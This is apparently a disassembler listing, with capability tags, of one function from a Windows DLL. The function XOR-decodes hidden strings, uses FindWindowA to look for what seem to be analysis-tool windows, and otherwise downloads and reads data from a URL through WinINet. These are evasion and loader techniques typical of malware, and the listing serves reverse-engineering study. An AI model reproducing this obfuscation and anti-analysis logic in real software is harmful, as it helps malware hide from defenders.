Function at 0x180070d80
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7f0]
sub rsp, 0x8f0
mov rax, qword [0x18020ce50]
xor rax, rsp
mov qword [rbp + 0x7e0], rax
mov qword [rbp - 0x48], rdx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x30], rcx
mov qword [rbp - 0x50], rdx
mov byte [rsp + 0x30], 4
mov al, 0x4c
mov cl, 0x50
movzx edx, cl
mov r8b, 0x54
mov r9b, 0x24
mov r10b, 0x40
mov r11b, 0x61
mov bl, 0x66
mov dil, WSAStartup
mov sil, 0x63
movzx r14d, sil
movzx r15d, r11b
mov r12b, 0x76
xor r13d, r13d
xor al, 4
mov byte [rsp + 0x31], al
xor cl, 4
mov byte [rsp + 0x32], cl
xor dl, 4
mov byte [rsp + 0x33], dl
xor r8b, 4
mov byte [rsp + 0x34], r8b
xor r9b, 4
mov byte [rsp + 0x35], r9b
xor r10b, 4
mov byte [rsp + 0x36], r10b
xor r11b, 4
mov byte [rsp + 0x37], r11b
xor bl, 4
mov byte [rsp + 0x38], bl
xor dil, 4
mov byte [rsp + 0x39], dil
xor sil, 4
mov byte [rsp + 0x3a], sil
xor r14b, 4
mov byte [rsp + 0x3b], r14b
xor r15b, 4
mov byte [rsp + 0x3c], r15b
xor r12b, 4
mov byte [rsp + 0x3d], r12b
mov byte [rsp + 0x3e], r13b
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
mov r13, qword [rbp - 0x48]
jne 0x1800714bf
movdqa xmm1, xmmword [0x1801ea110]
movdqu xmmword [rbp - 0x48], xmm1
mov dl, 0x7e
mov r8b, 0x63
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x47], al
xor byte [rbp - 0x46], cl
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
xor byte [rbp - 0x40], cl
xor byte [rbp - 0x3f], cl
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
xor byte [rbp - 0x39], cl
xor dl, cl
mov byte [rbp - 0x38], dl
xor r8b, cl
mov byte [rbp - 0x37], r8b
mov byte [rbp - 0x36], 0
lea rdx, [rbp - 0x47]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1800714bf
mov byte [rbp - 0x48], 0x2a
mov al, 0x7d
mov cl, 0x43
mov dl, 0x58
mov r8b, 0x4f
mov r9b, 0x59
mov r10b, 0x42
mov r11b, 0x4b
movzx ebx, dl
mov dil, 0x41
xor esi, esi
xor al, 0x2a
mov byte [rbp - 0x47], al
xor cl, 0x2a
mov byte [rbp - 0x46], cl
xor dl, 0x2a
mov byte [rbp - 0x45], dl
xor r8b, 0x2a
mov byte [rbp - 0x44], r8b
xor r9b, 0x2a
mov byte [rbp - 0x43], r9b
xor r10b, 0x2a
mov byte [rbp - 0x42], r10b
xor r11b, 0x2a
mov byte [rbp - 0x41], r11b
xor bl, 0x2a
mov byte [rbp - 0x40], bl
xor dil, 0x2a
mov byte [rbp - 0x3f], dil
mov byte [rbp - 0x3e], sil
lea rdx, [rbp - 0x47]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1800714bf
mov byte [rbp - 0x48], 7
mov al, 0x7f
mov cl, 0x31
mov dl, 0x33
mov r8b, 0x63
mov r9b, 0x65
mov r10b, 0x60
xor al, 7
mov byte [rbp - 0x47], al
xor cl, 7
mov byte [rbp - 0x46], cl
xor dl, 7
mov byte [rbp - 0x45], dl
xor r8b, 7
mov byte [rbp - 0x44], r8b
xor r9b, 7
mov byte [rbp - 0x43], r9b
xor r10b, 7
mov byte [rbp - 0x42], r10b
mov byte [rbp - 0x41], sil
lea rdx, [rbp - 0x47]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1800714bf
mov byte [rsp + 0x30], 0x67
mov al, 0x2a
mov cl, 8
mov dl, 0x1d
mov r8b, recv
mov r9b, listen
movzx r10d, r9b
mov r11b, 6
mov bl, 0x48
mov dil, 0x52
mov sil, 0x49
mov r14b, 0x57
xor r15d, r15d
xor al, 0x67
mov byte [rsp + 0x31], al
xor cl, 0x67
mov byte [rsp + 0x32], cl
xor dl, 0x67
mov byte [rsp + 0x33], dl
xor r8b, 0x67
mov byte [rsp + 0x34], r8b
xor r9b, 0x67
mov byte [rsp + 0x35], r9b
xor r10b, 0x67
mov byte [rsp + 0x36], r10b
xor r11b, 0x67
mov byte [rsp + 0x37], r11b
xor bl, 0x67
mov byte [rsp + 0x38], bl
xor dil, 0x67
mov byte [rsp + 0x39], dil
xor sil, 0x67
mov byte [rsp + 0x3a], sil
xor r14b, 0x67
mov byte [rsp + 0x3b], r14b
mov byte [rsp + 0x3c], r15b
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, [rsp + 0x31]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov ebx, r12d
mov qword [rbp - 0x20], rbx
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x30], bl
test rax, rax
je 0x180071309
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x180071093
mov rdx, qword [r13]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x180071309
nop dword [rax + rax]
lea r9, [rbp - 0x48]
mov r8d, 0x7d0
lea rdx, [rbp + 0x10]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [rbp - 0x48]
mov rax, rsi
sub rax, rbx
cmp rdi, rax
ja 0x180071112
lea rax, [rdi + rbx]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rsi, 0x10
cmovae rax, qword [rbp - 0x30]
add rbx, rax
mov r8d, edi
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.180162090
mov byte [rdi + rbx], 0
jmp 0x18007112a
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x10]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.180006910
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp + 0x10]
call fcn.180162730
cmp dword [rbp - 0x48], 0
je 0x18007114e
mov rsi, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
jmp 0x1800710c0
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 2
lea rdx, [0x1801e881c]
lea rcx, [rsp + 0x68]
call fcn.180006810
nop
mov byte [rsp + 0x30], reloc.WS2_32.dll_gethostname
mov al, 0x45
mov cl, 0x57
xor edx, edx
xor al, 0x39
mov byte [rsp + 0x31], al
xor cl, 0x39
mov byte [rsp + 0x32], cl
mov byte [rsp + 0x33], dl
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dl
jne 0x1800711c2
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x48]
call fcn.180006810
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x70]
call fcn.180005e90
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x48]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180070c20
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x18007123d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180071237
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007165f
call fcn.18015c42c
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x180071279
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180071274
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180071665
call fcn.18015c42c
mov rbx, qword [rsp + 0x40]
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp]
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800712c9
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800712c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007166b
call fcn.18015c42c
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1800714b6
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x1800714b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180071653
jmp 0x1800714ae
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 2
lea rdx, [0x1801e881c]
lea rcx, [rsp + 0x48]
call fcn.180006810
nop
mov byte [rsp + 0x30], 4
mov al, 0x78
mov cl, 0x6a
xor edx, edx
xor al, 4
mov byte [rsp + 0x31], al
xor cl, 4
mov byte [rsp + 0x32], cl
mov byte [rsp + 0x33], dl
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dl
jne 0x180071374
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x68]
call fcn.180006810
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x70]
call fcn.180005e90
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180070c20
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1800713ee
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800713e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180071671
call fcn.18015c42c
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x18007142b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180071426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180071677
call fcn.18015c42c
mov rbx, qword [rsp + 0x40]
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp]
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18007147b
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180071475
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007164d
call fcn.18015c42c
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1800714b6
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x1800714b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180071659
mov rcx, r8
call fcn.18015c42c
mov qword [r13 + 0x10], r12
jmp 0x180071613
mov byte [rbp - 0x48], 0x3e
mov al, 0x7c
mov cl, WSAGetLastError
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, 0x1e
mov r9b, 0x76
mov r10b, 0x5f
mov r11b, 0x5d
mov bl, 0x55
xor edi, edi
xor al, 0x3e
mov byte [rbp - 0x47], al
xor cl, 0x3e
mov byte [rbp - 0x46], cl
xor dl, 0x3e
mov byte [rbp - 0x45], dl
xor r8b, 0x3e
mov byte [rbp - 0x44], r8b
xor r9b, 0x3e
mov byte [rbp - 0x43], r9b
xor r10b, 0x3e
mov byte [rbp - 0x42], r10b
xor r11b, 0x3e
mov byte [rbp - 0x41], r11b
xor bl, 0x3e
mov byte [rbp - 0x40], bl
mov byte [rbp - 0x3f], dil
mov byte [rsp + 0x30], WSASetLastError
mov al, 0x29
mov cl, 8
mov dl, 0x19
movzx r8d, cl
mov r9b, recv
movzx r10d, dl
movzx r11d, cl
mov bl, 9
xor al, 0x6d
mov byte [rsp + 0x31], al
xor cl, 0x6d
mov byte [rsp + 0x32], cl
xor dl, 0x6d
mov byte [rsp + 0x33], dl
xor r8b, 0x6d
mov byte [rsp + 0x34], r8b
xor r9b, 0x6d
mov byte [rsp + 0x35], r9b
xor r10b, 0x6d
mov byte [rsp + 0x36], r10b
xor r11b, 0x6d
mov byte [rsp + 0x37], r11b
xor bl, 0x6d
mov byte [rsp + 0x38], bl
mov byte [rsp + 0x39], dil
lea r9d, [rdi + 0x10]
lea r8, [rbp - 0x47]
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rdi], 0x5e
mov byte [rsp + 0x30], 0x61
mov al, 0x51
xor ecx, ecx
xor al, 0x61
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
xorps xmm0, xmm0
mov rbx, qword [rsp + 0x40]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
lea rax, [rsp + 0x31]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], cl
jne 0x1800715c1
lea rdx, [rsp + 0x31]
mov rcx, rbx
call fcn.180006810
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x18007160f
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x18007160a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180071659
mov rcx, r8
call fcn.18015c42c
mov qword [r13 + 0x10], rdi
mov byte [r13], 0
mov qword [r13 + 0x18], reloc.WS2_32.dll_ntohs
mov rax, rbx
mov rcx, qword [rbp + 0x7e0]
xor rcx, rsp
call fcn.18015c050
mov rbx, qword [rsp + 0x940]
add rsp, 0x8f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180167118
nop
call fcn.180167118
int3
call fcn.180167118
nop
call fcn.180167118
nop
call fcn.180167118
nop
call fcn.180167118
nop
call fcn.180167118
nop
call fcn.180167118
int3